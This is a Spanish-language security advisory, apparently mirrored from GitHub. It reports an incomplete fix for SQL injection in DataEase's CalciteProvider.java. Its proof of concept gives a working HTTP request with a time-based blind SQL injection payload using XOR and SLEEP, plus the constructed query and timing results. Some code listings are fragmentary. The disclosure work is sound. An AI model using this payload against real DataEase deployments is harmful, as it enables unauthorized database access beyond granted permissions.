GHSA-XCR3-P567-5C8C
Inyección SQL en identificadores de metadatos de fuentes de datos (corrección incompleta de GHSA-8hgp-vw27-hxph)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XCR3-P567-5C8C divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Impacto
#### Resumen
La corrección publicada para GHSA-8hgp-vw27-hxph https://github.com/dataease/dataease/security/advisories/GHSA-8hgp-vw27-hxph ("Inyección SQL en identificadores de metadatos de fuentes de datos", publicada el 2026-07-30) no surtió efecto en los sumideros de metadatos enumerados en el aviso original. En DataEase v2.10.26 y v3.0.0, los identificadores de tabla y de metadatos proporcionados por el usuario en `CalciteProvider.java` siguen sin parametrizarse ni escaparse. Un atacante autenticado puede realizar inyección SQL ciega basada en booleanos y en tiempo a través del endpoint `/de2api/datasetData/tableField`, aprovechando las deficiencias en el manejo de comillas simples y usando `XOR` para eludir las verificaciones de límites de palabra de las palabras clave. El SQL inyectado se ejecuta con las credenciales que DataEase almacena para la fuente de datos de destino, lo que permite a los atacantes con permisos de lectura eludir los límites de permisos a nivel de tabla y de conjunto de datos.
#### Código afectado
Los cuatro sumideros enumerados originalmente en GHSA-8hgp-vw27-hxph siguen sin parchear en `core/core-backend/src/main/java/io/dataease/datasource/provider/CalciteProvider.java`:
- `getTableFiledSql` (familias MySQL, DB2, PostgreSQL y SQL Server):
// CalciteProvider.java:1486
sql = String.format("... WHERE TABLE_NAME = '%s'",
datasourceRequest.getTable());
```
- `getSchemaSql` (familia DB2):
- Configuración de sesión de Oracle:
- datasourceConfiguration.getSchema());
- `getTableTypeMap`:
Aunque `getTablesSql` en `CalciteProvider.java` se parametrizó en v2.10.26, `getTableFiledSql` y los sumideros de identificadores relacionados listados arriba no se parametrizaron ni escaparon, por lo que siguen siendo explotables tanto en `dev-v2` como en `v3.0.0`.
#### Análisis técnico
La vulnerabilidad en `getTableFiledSql` puede explotarse debido a tres debilidades que se combinan:
- El auxiliar de validación ignora las comillas simples:
- Falta de escape de cadenas en el punto de llamada:
- Elusión de límites de palabra en palabras clave mediante `XOR`:
Reproducción de la vulnerabilidad / POC
Requisitos previos:
- Objetivo: DataEase v3.0.0 o v2.10.26
- Base de datos subyacente: MySQL (por ejemplo, MySQL 8.4.x)
- Una cuenta de usuario autenticada con acceso a la fuente de datos
- Precondición: el endpoint de destino invoca `DatasetCacheManage.validateTable` antes de llegar al sumidero, lo que verifica que la tabla exista en la fuente de datos de destino. En las pruebas, se creó en la fuente de datos una tabla cuyo nombre contiene el payload.
Solicitud de ataque:
POST /de2api/datasetData/tableField HTTP/1.1
Content-Type: application/json
X-DE-TOKEN: <VALID_TOKEN>
X-DE-EXECUTE-VERSION: 3.0.0
{
"type": "db",
"datasourceId": "<DATASOURCE_ID>",
"isCross": false,
"info": "{\"table\":\"x' XOR IF(SUBSTR(USER(),1,1)='r',SLEEP(5),0)#\"}"
}Consulta construida:
El servidor construye y ejecuta la consulta mediante un `Statement` de JDBC sin procesar:
SELECT COLUMN_NAME,DATA_TYPE,COLUMN_COMMENT,... FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = '<db>' AND TABLE_NAME = 'x' XOR IF(SUBSTR(USER(),1,1)='r',SLEEP(5),0)#'La comilla simple cierra el literal de cadena, `XOR` encadena la expresión condicional y el carácter `#` comenta el resto de la consulta.
Verificación por tiempo:
Las pruebas de inyección ciega basada en booleanos, comparando condiciones coincidentes y no coincidentes, muestran una diferencia de tiempo de ejecución de aproximadamente 900 veces:
- Condición verdadera (`SUBSTR(USER(),1,1)='r'`): ~30.192 ms (`(conn=1438) Query execution was interrupted`)
- Condición falsa (`SUBSTR(USER(),1,1)='z'`): ~33 ms a 36 ms (respuesta inmediata normal)
Aprovechando esta diferencia de tiempos, pueden extraerse metadatos de la base de datos y valores sensibles carácter por carácter.
#### Impacto
El SQL inyectado se ejecuta con el contexto y los privilegios de las credenciales configuradas para esa fuente de datos en DataEase. Un usuario autenticado que solo posea acceso de lectura limitado a una fuente de datos puede ejecutar consultas SQL arbitrarias contra la base de datos subyacente, eludiendo los controles de acceso internos de DataEase a nivel de tabla y de conjunto de datos.
Versiones afectadas
- Versiones afectadas <= v2.10.26
- Versión afectada v3.0.0
Parches
La vulnerabilidad se corregirá en v2.10.27 y v3.1.0.
Referencias
Si tiene preguntas o comentarios sobre este aviso:
- Abra un issue en https://github.com/dataease/dataease
- Escriba a wei@fit2cloud.com
- Aviso relacionado: GHSA-8hgp-vw27-hxph
https://github.com/dataease/dataease/security/advisories/GHSA-8hgp-vw27-hxph
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Mavenio.dataease |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/dataease/dataease/security/advisories/GHSA-xcr3-p567-5c8cLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
